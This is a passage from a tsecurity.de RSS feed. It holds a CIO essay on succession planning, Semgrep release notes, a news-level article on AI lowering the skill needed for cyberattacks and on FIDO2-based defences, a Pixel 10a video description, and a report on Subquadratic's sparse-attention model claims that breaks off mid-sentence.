<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>I have sat with three CIOs in the last two years who wanted to leave their seat and could not. One was being recruited into a larger enterprise role. One was ready to retire. One had been offered a board seat that required stepping down. In every case, the same thing stopped them. When the CEO asked who could step in, the CIO could not give a credible name. The person they had been calling their number two was technically brilliant and operationally reliable, and every one of them had been groomed into an architect, not a leader. The board would not approve an external hire during an active transformation. So the CIO stayed. One of them is still stuck.</p>



<p>The CIO role has the weakest succession bench in the C-suite, and most CIOs discover it the same way those three did. Not during a quarterly talent review. Not during a board retreat. They discover it the moment they try to leave. By then, the decision is already made for them. This is a leadership design problem CIOs build into their own orgs, and they inherit it when it is too late to fix quickly.</p>



<h2 class="wp-block-heading">The architect trap</h2>



<p>I have watched the same pattern form in almost every IT organization I have worked in. The people who rise to the top of the CIO’s direct reports are the ones who can hold the most architectural complexity in their heads. They are the ones the CIO trusts with the platform decisions, the vendor consolidations, the integration maps. They earn that trust legitimately. They are excellent at what they do.</p>



<p>But architectural trust is a different currency than leadership trust. When a CIO promotes based on architectural depth, what they get is a deputy who can design the org but cannot run it. I have seen deputies who have never owned a P&amp;L conversation with a CFO. Deputies who have never delivered hard news to a business unit president. Deputies who have never had to defend a budget line item in a room full of people trying to take it from them. They were not hiding from those conversations. The CIO was holding the conversations for them because the CIO was good at those conversations and the deputy was good at the architecture.</p>



<p>The result is a bench that looks deep from inside the IT org and looks empty from the boardroom. I have watched a CEO walk out of a succession conversation saying, “I like your people, but I cannot see any of them in your chair.” That is not a compliment to the CIO. That is a verdict on how the CIO built the team.</p>



<h2 class="wp-block-heading">Three moves I make before I need them</h2>



<p>After watching this happen enough times, I stopped treating succession as something I would address later and started treating it as a design choice I had to make inside my first year. I changed how I build the bench in three ways, and I make each move early enough that the person has time to grow into it or fail out of it.</p>



<p>First, I give them a standing decision domain, not a “next in line” title. A deputy who is told they are being groomed for the CIO seat will manage their career instead of their work. A deputy who is given full authority over, say, all vendor escalations above a defined threshold will start making real decisions in real rooms with real consequences. That is where judgment gets built. The domain has to be something I would otherwise own myself. If I am still approving everything inside it, I am building a forwarder, not a successor.</p>



<p>Second, I put them in rooms where they have to lose something. One of the most damaging things a CIO can do is protect a high-potential deputy from conflict. I used to do this without realizing it. I would pull the hard conversations back to my level because I wanted to spare the deputy the political damage. The deputy came out looking clean and came out completely unprepared. Now I deliberately put deputies into conversations where they have to defend a position against a peer executive who will push back hard. Sometimes they hold the line. Sometimes they fold. Either outcome tells me something I needed to know before anyone was counting on them.</p>



<p>Third, I make the bench visible to the board before I have to. If the board does not know my top two or three deputies by name and track record, I do not have a succession plan. I have private notes. The CIOs I described at the beginning of this article all had deputies they believed in. None of those deputies had ever presented to the board on anything substantive. The board had no reference point. So when the succession question came up, the deputies did not exist in the board’s imagination, and the CIO’s personal endorsement was not enough to create them.</p>



<p>The first time I put a deputy in front of the board, they came back different. The board did not go easy on them. They came back knowing what a board conversation actually feels like, which meant the next one would not be a first impression. The board needs reps with my deputies before the seat is vacant. Once it is vacant, the reps are a job interview and a job interview is not where anyone does their best work.</p>



<h2 class="wp-block-heading">What the gap actually costs</h2>



<p>The cost of a shallow bench is not abstract. I have seen CIOs delay their own career moves by eighteen months or longer because they could not produce a credible successor. I have seen organizations pay two and a half times market to hire externally because the internal candidate did not survive a board interview. I have seen transformations stall because the CIO could not delegate enough to step back and think, because there was no one qualified to hold what they put down.</p>



<p>The cost to the deputies is also real. The architect-track deputy who spends six or seven years being the CIO’s most trusted technical lieutenant, and then gets passed over for the CIO role because the board does not see a leader, rarely recovers that momentum. Some of them leave. Some of them stay and quietly disengage. A few of them become the reason the new CIO’s first ninety days are harder than they should be. None of that is the deputy’s fault. It is the consequence of a design choice the previous CIO made years earlier, usually without knowing they were making it.</p>



<p>CIO.com has published strong guidance on this, including work on <a href="https://www.cio.com/article/415806/grow-your-own-cio-building-leadership-and-succession-plans.html">grow your own CIO strategies</a> that treat succession as a deliberate pipeline rather than an accident of tenure.</p>



<p>The test is simple. If you had to leave in ninety days, could you hand the CEO a name and get a nod? If you cannot picture that nod, you do not have a successor. You have a list of people you like and trust, which is not the same thing. The successor you can actually name is the one you built on purpose, not the one who happened to look ready when the chair emptied. I have learned this by watching peers run out of time to build what they meant to build. I am trying not to be one of them.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.cio.com/expert-contributor-network/">Want to join?</a></strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Google Maps vs. Apple Maps: I compared two of the best navigation apps - here's my pick]]></title>
<description><![CDATA[Apple Maps has improved over the years, but how does it compare to Google Maps today? Here's the verdict after extended use.]]></description>
<link>https://tsecurity.de/de/3497665/it-nachrichten/google-maps-vs-apple-maps-i-compared-two-of-the-best-navigation-apps-heres-my-pick/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3497665/it-nachrichten/google-maps-vs-apple-maps-i-compared-two-of-the-best-navigation-apps-heres-my-pick/</guid>
<pubDate>Fri, 08 May 2026 02:46:54 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple Maps has improved over the years, but how does it compare to Google Maps today? Here's the verdict after extended use.]]></content:encoded>
</item>
<item>
<title><![CDATA[Release v1.162.0]]></title>
<description><![CDATA[1.162.0 - 2026-05-07
### Added

pro: Improved support for tracking taint through nested functions. (LANG-95)
Added indexes to file targeting to improve performance of semgrepignore matching. (gh-27830)

### Changed

Faster JSON rule parsing: rule files in JSON format now parse roughly 5x faster e...]]></description>
<link>https://tsecurity.de/de/3496737/it-security-tools/release-v11620/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3496737/it-security-tools/release-v11620/</guid>
<pubDate>Thu, 07 May 2026 18:18:49 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><a href="https://github.com/semgrep/semgrep/releases/tag/v1.162.0">1.162.0</a> - 2026-05-07</h2>
<h3>### Added</h3>
<ul>
<li>pro: Improved support for tracking taint through nested functions. (LANG-95)</li>
<li>Added indexes to file targeting to improve performance of semgrepignore matching. (gh-27830)</li>
</ul>
<h3>### Changed</h3>
<ul>
<li>Faster JSON rule parsing: rule files in JSON format now parse roughly 5x faster end-to-end (measured ~134s → ~28s on a 382MB rule pack) by going through a new hand-written RFC 8259 parser instead of the previous JS-parser-based chain. (ENGINE-2725)</li>
<li>Scala projects are now identified for Supply Chain only by their root build.sbt, rather than treating each build.sbt as a different subproject. (SC-3293)</li>
<li>MCP <code>semgrep_findings</code> tool: added a <code>refs</code> parameter to filter findings by branch (defaults to the primary branch when not specified), and made <code>autotriage_verdict</code> optional so that findings without an AI verdict can also be returned. (engine-2723)</li>
</ul>
<h3>### Fixed</h3>
<ul>
<li>jsonnet: <code>import</code> and <code>importstr</code> now reject paths that resolve outside the<br>
rule file's parent directory. (ENGINE-2727)</li>
<li>semgrep ci: redact URL-embedded credentials and <code>Authorization</code> header<br>
values from git error messages and from the captured tracebacks sent to<br>
the fail-open telemetry endpoint, preventing leaks of secrets like<br>
<code>CI_JOB_TOKEN</code> from a failed <code>git fetch</code> in GitLab CI. Also closes<br>
ENGINE-2731 (raw, unsanitized tracebacks in fail-open telemetry). (ENGINE-2728)</li>
<li><code>semgrep ci</code> no longer transmits SCM tokens to the Semgrep Platform. (ENGINE-2729)</li>
<li>semgrep CLI: the on-disk log file (<code>~/.semgrep/semgrep.log</code> or <code>$SEMGREP_LOG_FILE</code>) now respects the requested log level instead of always being written at DEBUG. This narrows the surface for credentials to land on disk via CI runner filesystems or job artifacts; pass <code>--debug</code> to restore the previous behavior. (ENGINE-2730)</li>
<li>jsonnet rules: bound recursion in both rule loading and evaluation so a<br>
malicious rule can no longer hang semgrep via mutually-recursive <code>import</code>s<br>
or runtime function calls that recurse forever. (ENGINE-2727-dos)</li>
<li>Scala: Merging consecutive top-level package declarations into a single package path. (LANG-374)</li>
<li>Fixed PHP parse errors during highly-parallel parsing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="1390733505" data-permission-text="Title is private" data-url="https://github.com/semgrep/semgrep/issues/6197" data-hovercard-type="pull_request" data-hovercard-url="/semgrep/semgrep/pull/6197/hovercard" href="https://github.com/semgrep/semgrep/pull/6197">gh-6197</a>)</li>
<li>Fixed Scala parse errors during highly-parallel parsing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="1390743685" data-permission-text="Title is private" data-url="https://github.com/semgrep/semgrep/issues/6198" data-hovercard-type="pull_request" data-hovercard-url="/semgrep/semgrep/pull/6198/hovercard" href="https://github.com/semgrep/semgrep/pull/6198">gh-6198</a>)</li>
<li>Surface a clearer error from the MCP scan tool when metrics is off and auto config is specified (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4289570188" data-permission-text="Title is private" data-url="https://github.com/semgrep/semgrep/issues/11649" data-hovercard-type="issue" data-hovercard-url="/semgrep/semgrep/issues/11649/hovercard" href="https://github.com/semgrep/semgrep/issues/11649">gh-11649</a>)</li>
<li>Fixed unknown option error when spawning the MCP daemon (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4322162904" data-permission-text="Title is private" data-url="https://github.com/semgrep/semgrep/issues/11660" data-hovercard-type="issue" data-hovercard-url="/semgrep/semgrep/issues/11660/hovercard" href="https://github.com/semgrep/semgrep/issues/11660">gh-11660</a>)</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Thinking about buying the LG C6 OLED TV? Ask our reviewers anything, from which panel it uses to how it compares to other 2026 TVs]]></title>
<description><![CDATA[Our official LG C6 OLED TV verdict is in — here's your chance to ask our expert reviewers your questions in a live Q&A.]]></description>
<link>https://tsecurity.de/de/3495797/it-nachrichten/thinking-about-buying-the-lg-c6-oled-tv-ask-our-reviewers-anything-from-which-panel-it-uses-to-how-it-compares-to-other-2026-tvs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3495797/it-nachrichten/thinking-about-buying-the-lg-c6-oled-tv-ask-our-reviewers-anything-from-which-panel-it-uses-to-how-it-compares-to-other-2026-tvs/</guid>
<pubDate>Thu, 07 May 2026 13:46:53 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Our official LG C6 OLED TV verdict is in — here's your chance to ask our expert reviewers your questions in a live Q&amp;A.]]></content:encoded>
</item>
<item>
<title><![CDATA[It took 4 years to master ‘The Knowledge.’ AI just collapsed it in a software update]]></title>
<description><![CDATA[In London, becoming a licensed cab driver used to require passing an exam called “The Knowledge.” Candidates spent three to four years memorizing 25,000 streets, 100,000 landmarks and thousands of optimal routes. Neuroscience researchers at University College London found that cabbies who passed ...]]></description>
<link>https://tsecurity.de/de/3495287/it-nachrichten/it-took-4-years-to-master-the-knowledge-ai-just-collapsed-it-in-a-software-update/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3495287/it-nachrichten/it-took-4-years-to-master-the-knowledge-ai-just-collapsed-it-in-a-software-update/</guid>
<pubDate>Thu, 07 May 2026 11:02:56 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>In London, becoming a licensed cab driver used to require passing an exam called “The Knowledge.” Candidates spent three to four years memorizing 25,000 streets, 100,000 landmarks and thousands of optimal routes. Neuroscience researchers at University College London found that cabbies who passed had measurably enlarged hippocampi from the cognitive load.</p>



<p>GPS made the entire achievement irrelevant in a single software update. Not gradually. Not partially. A driver on their first day with a nav app could match a cabbie who had studied for four years. The skill did not get cheaper. It stopped mattering.</p>



<p>That same structural collapse just happened to cyberattack expertise.</p>



<h2 class="wp-block-heading">The skill floor fell through the floor</h2>



<p>For two decades, the most dangerous attack techniques were gated by skill and time. Adversary-in-the-middle phishing, polymorphic malware, living-off-the-land scripting, autonomous exploit development — nation-state groups ran these operations because they alone had practitioners who could execute them.</p>



<p>AI removed the gate. The same way GPS never taught anyone cartography — it made cartography optional.</p>



<p><a href="https://www.ibm.com/reports/threat-intelligence" rel="nofollow">IBM X-Force</a> quantified one dimension: AI generates convincing phishing lures in five minutes versus sixteen hours for an experienced human operator. That’s a 192x reduction in time cost for a single task. Multiply it across reconnaissance, lure generation, payload evasion and exploit development, and you get a capability transfer from specialized actors to anyone motivated enough to open a Telegram channel.<a href="https://www.crowdstrike.com/global-threat-report/" rel="nofollow"> </a><a href="https://www.crowdstrike.com/global-threat-report/" rel="nofollow">CrowdStrike’s 2026 Global Threat Report</a> documented the result: An 89% year-over-year surge in AI-augmented attacks, alongside a 29-minute average eCrime breakout time — 65% faster than 2024.</p>



<p>Three techniques show how completely the collapse ran.</p>



<p>Adversary-in-the-middle phishing once required an operator who understood reverse proxy architecture, SSL certificate management and session token mechanics. Platforms like Tycoon 2FA packaged all of that into a browser dashboard with tiered pricing and customer support. The required skill dropped to “credit card and intent.” The result: 40,000 AiTM incidents daily across Microsoft environments, and 84% of compromised accounts had MFA enabled. The authentication was genuine. The theft happened after it succeeded.</p>



<p>AI spear phishing once required a skilled analyst spending two to four hours per target. AI automated the entire pipeline — LinkedIn scraping, lure generation, style-matching — producing messages with zero grammatical errors that reference real projects and mimic specific colleagues. A 2025 campaign targeted 800 accounting firms simultaneously with emails referencing each firm’s specific state registration details and hit a 27% click rate. Running 800 firm-specific, research-backed campaigns at once was previously not operationally feasible below nation-state level.</p>



<p>Autonomous exploit development may be the starkest case.<a href="https://www.anthropic.com/news" rel="nofollow"> </a><a href="https://www.anthropic.com/news" rel="nofollow">Anthropic’s Mythos model</a> demonstrated fully autonomous discovery and exploitation of unknown vulnerabilities — independently finding a 17-year-old remote code execution flaw in FreeBSD’s NFS server that human researchers had missed for years. Cost: under $20,000. That replaced months of nation-state research effort.</p>



<p>Eight major attack categories show the same pattern across 2025 and 2026 data. The skill that gated each attack stopped being required.</p>



<h2 class="wp-block-heading">The auto-tune problem</h2>



<p>Auto-tune didn’t make singers cheaper to hire. It made pitch control irrelevant. A tone-deaf performer with the plugin produces the same output as a conservatory graduate. The listener cannot tell the difference.</p>



<p>That’s the detection problem in one sentence.</p>



<p>Traditional defenses work by finding a signal: A known malicious hash, a grammar error in the lure, a failed authentication attempt. AI lets attackers strip those signals out. AiTM removes failed logins. AI-generated lures remove grammatical errors. Polymorphic malware removes stable code signatures. Automated reconnaissance removes advance warning entirely — it runs in public data sources the target cannot monitor.</p>



<p>The attack that succeeds now is the one designed to look completely normal. Pattern-matching fails when the patterns have been intentionally removed.</p>



<h2 class="wp-block-heading">The architecture was built for a world that no longer exists</h2>



<p>The defense stack most organizations run rests on three assumptions that held for two decades and are now false.</p>



<p>First, that sophisticated attacks are rare. They’re not — volume now scales to commodity levels. Second, that attacks contain detectable quality signals. They don’t — the absence of awkward phrasing or mismatched domains isn’t exculpatory. It’s the attack working as designed. Third, that human investigation speed is fast enough. A 29-minute breakout time and a 21-second average time-to-click leave no margin for a 15-minute triage cycle.</p>



<p>These weren’t bad assumptions when architects made them. But the architecture built on top of them doesn’t degrade gracefully when they fail. It fails structurally.</p>



<h2 class="wp-block-heading">What still works — and why</h2>



<p>The controls that survive share one trait: They depend on properties attackers cannot strip from the signal.</p>



<p>FIDO2 security keys bind authentication cryptographically to the legitimate origin domain. When an AiTM proxy intercepts the flow, the challenge comes from the proxy’s domain. The key refuses to sign. No AI-generated polish changes the domain mismatch at the cryptographic layer. Deploy it for all privileged accounts and disable fallback to phishable MFA methods — Proofpoint has already documented FIDO2 downgrade attacks in Microsoft Entra.</p>



<p>But hardware controls address only the front door. The deeper fix is a different detection philosophy: Reasoning about what the attacker is trying to accomplish rather than what the attack looks like. In January 2026, a mid-market financial firm caught an active AiTM operation before any payment moved. Their pipeline correlated an email click, a new-IP authentication and an inbox rule creation within a 90-second window — flagging the sequence as a single credential-theft operation. Their legacy email gateway evaluated the same email and generated no alert. SPF, DKIM and DMARC all passed. The link resolved to a legitimate SharePoint domain. The difference wasn’t a better product. It was a better question: One system asked what the email looked like; the other asked what the attacker was trying to accomplish.</p>



<p>That’s the architecture shift — from “does this match a known threat pattern” to “is this sequence of actions consistent with credential theft, regardless of what the initial email looked like.” Most SOCs present those as four unrelated alerts triaged by different analysts. The attacker’s operational logic is more coherent than the defender’s detection pipeline.</p>



<h2 class="wp-block-heading">The capability transfer is permanent</h2>



<p>London didn’t rebuild its transportation system assuming most drivers still couldn’t navigate. It accepted the collapse and adapted. The cabbies who survived stopped competing on memorization and shifted to what GPS couldn’t replicate: Judgment, local knowledge, reading the situation in real time.</p>



<p>The security equivalent is the same pivot. Stop competing on pattern recognition — the skill AI just made irrelevant for both sides — and shift to what attackers cannot automate away: Understanding what normal looks like inside your specific organization, connecting signals across kill chain stages, and reaching a verdict at machine speed.</p>



<p>The Knowledge took four years to master. One software update made it obsolete. The question for security leaders isn’t whether the same thing happened to APT tradecraft. The data says it did. The question is whether your architecture still assumes it didn’t.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.cio.com/expert-contributor-network/">Want to join?</a></strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Google Pixel 10a vs 9a - Don’t Waste Your Money]]></title>
<description><![CDATA[Author: Shannon Morse - Bewertung: 25x - Views:93 Is the Google Pixel 10a actually new… or just a copy of last year’s phone? 🤔

Best deal on the Google Pixel 10a: https://bestbuycreators.7tiv.net/enA7Yg 
Google Pixel 9a: https://bestbuycreators.7tiv.net/AgE67D

I took the Pixel 10a to Japan for a...]]></description>
<link>https://tsecurity.de/de/3492722/videos/google-pixel-10a-vs-9a-dont-waste-your-money/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3492722/videos/google-pixel-10a-vs-9a-dont-waste-your-money/</guid>
<pubDate>Wed, 06 May 2026 14:48:26 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Shannon Morse - Bewertung: 25x - Views:93 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/P_QOjs3UjF8?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Is the Google Pixel 10a actually new… or just a copy of last year’s phone? 🤔<br />
<br />
Best deal on the Google Pixel 10a: https://bestbuycreators.7tiv.net/enA7Yg <br />
Google Pixel 9a: https://bestbuycreators.7tiv.net/AgE67D<br />
<br />
I took the Pixel 10a to Japan for a real-world test - and ran into some unexpected issues. From screen durability problems to performance hiccups, here’s everything you need to know before buying.<br />
 <br />
👉 Bright 120Hz display<br />
👉 7 YEARS of updates 🔐<br />
👉 But… is it actually worth it?<br />
<br />
Let me know what YOU think in the comments 👇<br />
<br />
#Pixel10a #GooglePixel #TechReview<br />
<br />
 Pixel 10a… Wait, Is This the Same Phone?!<br />
00:32 Intro<br />
01:15 Price, Storage, Colors<br />
02:05 What’s in the Box<br />
02:45 Subscribe + Patreon Shoutouts 💜<br />
03:35 Design & Build Quality<br />
05:00 Display & Brightness Test<br />
06:30 Durability Issues (Japan Test 😬)<br />
08:10 Camera Specs & Features<br />
10:20 Camera Comparison (vs Galaxy S26 Ultra)<br />
13:00 Selfies & Video Performance<br />
14:30 Performance & Tensor G4<br />
16:20 Gaming & Heat Test 🎮<br />
17:15 AI Features (Gemini + Camera Coach)<br />
18:40 Security Features 🔐<br />
19:50 Battery Life Test 🔋<br />
21:00 Connectivity<br />
21:40 Google Fi Issue ⚠️<br />
23:00 Final Verdict - Should You Buy It?<br />
<br />
Becoming a Morse Code Member by checking out the perks linked here!:<br />
https://www.youtube.com/channel/UCNofX8wmSJh7NTklvMqueOA/join<br />
<br />
Editor: @ColleenEdits<br />
<br />
💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜<br />
<br />
SUBSCRIBE! 🌸 http://www.youtube.com/ShannonMorse?sub_confirmation=1<br />
<br />
💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜<br />
<br />
SUPPORT MY WORK<br />
PATREON 💛 https://www.patreon.com/ShannonMorse<br />
BUY ME A COFFEE 💛 https://www.buymeacoffee.com/snubs<br />
MY SHOP 💛 https://shannonrmorse.com/shop<br />
SPRING SHOP 💛 https://morsecode.creator-spring.com/<br />
ACTIVE COUPON CODES 💛 https://shannonrmorse.com/support<br />
<br />
💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜<br />
<br />
FOLLOW THE SOCIALS THINGS<br />
THREADS 🌸  https://www.threads.net/@snubs<br />
INSTAGRAM 🌸  http://www.instagram.com/snubs<br />
TIKTOK 🌸  https://tiktok.com/@snubsie<br />
YOUTUBE 🌸 http://www.youtube.com/ShannonMorse?sub_confirmation=1<br />
WEBSITE 🌸 https://www.morsecodecreative.com/<br />
<br />
💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜<br />
<br />
TECH I USE AND RECOMMEND<br />
My Kits, Builds, and Must Haves ✨ https://kit.co/ShannonMorse<br />
My Amazon Influencer Page ✨ https://www.amazon.com/shop/shannonmorse<br />
My LiveStreaming Software ✨ https://streamyard.com/pal/d/6029725427957760<br />
<br />
💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜<br />
<br />
MY OTHER SHOWS<br />
Shannon Travels The World 🌙 https://www.youtube.com/@ShannonTravelsTheWorld/featured <br />
Sailor Snubs 🌙 https://www.youtube.com/@SailorSnubs/featured <br />
<br />
💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜<br />
<br />
GET IN TOUCH<br />
Mail ✈ <br />
https://shannonrmorse.com/contact <br />
<br />
Email for Business and Sponsorship Inquiries ✈ Shannon@ShannonRMorse.com<br />
My Media Kit ✈ https://shannonrmorse.com/work-with-me <br />
Sponsor This Channel ✈ https://shannonrmorse.com/shannon-morse <br />
<br />
💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜<br />
<br />
😍 FTC DISCLAIMER 😍<br />
Affiliate links listed above allow me to receive a small commission. Any sponsorships for videos are noted in video and listed in descriptions. Any products provided as gifts are listed above. Thank you for your support!<br />
<br />
Comment section code of conduct policy:<br />
Constructive feedback is appreciated, but please leave unproductive, divisive and harmful conversation at the door. Hateful comments are not tolerated, and these kinds of messages will be automatically removed. Thank you for making this community a welcoming experience for all viewers :)<br />
https://shannonrmorse.com/code-of-conduct<br />
<br />
Code of Ethics:<br />
https://www.morsecodecreative.com/code-of-ethics<br />
<br />
FTC: Links marked with * are affiliate links, which means I make a small commission off any sales.<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Miami startup Subquadratic claims 1,000x AI efficiency gain with SubQ model; researchers demand independent proof.]]></title>
<description><![CDATA[A little-known Miami-based startup called Subquadratic emerged from stealth on Tuesday with a sweeping claim: that it has built the first large language model to fully escape the mathematical constraint that has defined — and limited — every major AI system since 2017.The company claims its first...]]></description>
<link>https://tsecurity.de/de/3491134/it-nachrichten/miami-startup-subquadratic-claims-1000x-ai-efficiency-gain-with-subq-model-researchers-demand-independent-proof/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3491134/it-nachrichten/miami-startup-subquadratic-claims-1000x-ai-efficiency-gain-with-subq-model-researchers-demand-independent-proof/</guid>
<pubDate>Wed, 06 May 2026 03:02:42 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A little-known Miami-based startup called <a href="https://subq.ai/">Subquadratic</a> emerged from stealth on Tuesday with a sweeping claim: that it has built the first large language model to fully escape the mathematical constraint that has defined — and limited — every major AI system since 2017.</p><p>The company claims its first model, <a href="https://subq.ai/introducing-subq">SubQ 1M-Preview</a>, is the first LLM built on a fully subquadratic architecture — one where compute grows linearly with context length. If that claim holds, it would be a genuine inflection point in how AI systems scale. At 12 million tokens, the company says, its architecture reduces attention compute by almost 1,000 times compared to other frontier models — a figure that, if validated independently, would dwarf the efficiency gains of any existing approach.</p><div></div><p>The company is also launching three products into private beta: an <a href="https://subq.ai/request-early-access">API</a> exposing the full context window, a command-line coding agent called <a href="https://subq.ai/request-early-access">SubQ Code</a>, and a search tool called <a href="https://subq.ai/introducing-subq">SubQ Search</a>. It has raised $29 million in seed funding from investors including Tinder co-founder <a href="https://www.crunchbase.com/person/justin-mateen">Justin Mateen</a>, former SoftBank Vision Fund partner <a href="https://visionfund.com/team/javier-villamizar">Javier Villamizar</a>, and early investors in <a href="https://www.anthropic.com/">Anthropic</a>, <a href="https://openai.com/">OpenAI</a>, <a href="https://stripe.com/">Stripe</a>, and <a href="https://www.brex.com/">Brex</a>. The New Stack reported that the raise values the company at <a href="https://thenewstack.io/subquadratic-12-million-context-window/">$500 million</a>.</p><p>The numbers Subquadratic is publishing are extraordinary. The reaction from the AI research community has been, to put it mildly, mixed — ranging from genuine curiosity to open accusations of vaporware. Understanding why requires understanding what the company claims to have solved, and why so many prior attempts to solve the same problem have fallen short.</p><h2><b>The quadratic scaling problem has shaped the economics of the entire AI industry</b></h2><p>Every transformer-based AI model — which includes virtually every frontier system from <a href="https://openai.com/">OpenAI</a>, <a href="https://www.anthropic.com/">Anthropic</a>, <a href="https://www.google.com/">Google</a>, and others — relies on an operation called "attention." Every token is compared against every other token, so as inputs grow, the number of interactions — and the compute required to process them — scales quadratically. In plain terms: double the input size, and the cost doesn't double. It quadruples.</p><p>This relationship has shaped what gets built and what doesn't. The industry standard is 128,000 tokens for many AI models and up to 1 million tokens for frontier cloud models such as <a href="https://www.anthropic.com/news/claude-opus-4-7">Claude Sonnet 4.7</a> and <a href="https://blog.google/innovation-and-ai/models-and-research/gemini-models/gemini-3-1-pro/">Gemini 3.1 Pro</a>. </p><p>Even at those sizes, the cost of processing long inputs becomes punishing. The industry built an elaborate stack of workarounds to cope. RAG systems use a search engine to pull a small number of relevant results before sending them to the model, because sending the full corpus isn't feasible. Developers layer retrieval pipelines, chunking strategies, prompt engineering techniques, and multi-agent orchestration systems on top of models — all to route around the fundamental constraint that the model itself can't efficiently process everything at once.</p><p>Subquadratic's argument is that these workarounds are expensive, brittle, and ultimately limiting. As <a href="https://siliconangle.com/2026/05/05/subquadratic-launches-29m-bring-12m-token-context-windows-ai/">CTO Alexander Whedon told SiliconANGLE in an interview</a>, "I used to manually curate prompts and retrieval systems and evals and conditional logic to chain together the workflows. And I think that that is kind of a waste of human intelligence and also limiting to the product quality."</p><h2><b>Subquadratic's fix is deceptively simple: stop doing the math that doesn't matter</b></h2><p>The company's approach, called <a href="https://subq.ai/how-ssa-makes-long-context-practical">Subquadratic Sparse Attention </a>or SSA, is built on a straightforward premise: most of the token-to-token comparisons in standard attention are wasted compute. Instead of comparing every token to every other token, SSA learns to identify which comparisons actually matter and computes attention only over those positions. Crucially, the selection is content-dependent — the model decides where to look based on meaning, not on fixed positional patterns. This allows it to retrieve specific information from arbitrary positions across a very long context without paying the quadratic tax.</p><p>The practical payoff scales with context length — exactly the inverse of the problem it's trying to solve. According to the company's <a href="https://subq.ai/how-ssa-makes-long-context-practical">technical blog</a>, SSA achieves a 7.2x prefill speedup over dense attention at 128,000 tokens, rising to 52.2x at 1 million tokens. As Whedon put it: "If you double the input size with quadratic scaling laws, you need four times the compute; with linear scaling laws, you need just twice." The company says it trained the model in three stages — pretraining, supervised fine-tuning, and a reinforcement learning stage specifically targeting long-context retrieval failures — teaching the model to aggressively use distant context rather than defaulting to nearby information, a subtle failure mode that quietly degrades performance in existing systems.</p><h2><b>Three benchmarks paint a strong picture, but what they leave out may matter more</b></h2><p>On the surface, SubQ's benchmark numbers are competitive with or superior to models built by organizations spending billions of dollars. On <a href="https://www.swebench.com/verified.html">SWE-Bench Verified</a>, it scored 81.8% compared to Opus 4.6's 80.8% and DeepSeek 4.0 Pro's 80.0%. On <a href="https://llm-stats.com/benchmarks/ruler">RULER</a> at 128,000 tokens, a standard benchmark for reasoning over extended inputs, SubQ scored 95% — edging out Claude Opus 4.6 at 94.8%. On <a href="https://llm-stats.com/benchmarks/mrcr-v2">MRCR v2</a>, a demanding test of multi-hop retrieval across long contexts, SubQ posted a third-party verified score of 65.9%, compared with Claude Opus 4.7 at 32.2%, GPT-5.5 at 74%, and Gemini 3.1 Pro at 26.3%.</p><p>But several details warrant scrutiny. The benchmark selection is narrow — exactly three tests, all emphasizing long-context retrieval and coding, the precise tasks SubQ is designed for. Broader evaluations across general reasoning, math, multilingual performance, and safety have not been published. The company says a comprehensive model card is "coming soon."</p><p>According to <a href="https://thenewstack.io/subquadratic-12-million-context-window/">The New Stack</a>, each benchmark model was run only once due to high inference cost, and the SWE-Bench margin is, as the company's own paper acknowledges, "harness as much as model." In benchmark methodology, single runs without confidence intervals leave room for variance. There is also a significant gap between SubQ's research results and its production model. On MRCR v2, the company reported a research score of 83 — but the third-party verified production model scored 65.9. That 17-point gap between the lab result and the shipping product is notable and largely unexplained.</p><p>Subquadratic also <a href="https://siliconangle.com/2026/05/05/subquadratic-launches-29m-bring-12m-token-context-windows-ai/">told SiliconANGLE</a> that on the RULER 128K benchmark, SubQ scored 95% accuracy at a cost of $8, compared with 94% accuracy and about $2,600 for Claude Opus — a remarkable cost claim. But the company has not publicly disclosed specific API pricing, making it impossible to independently verify 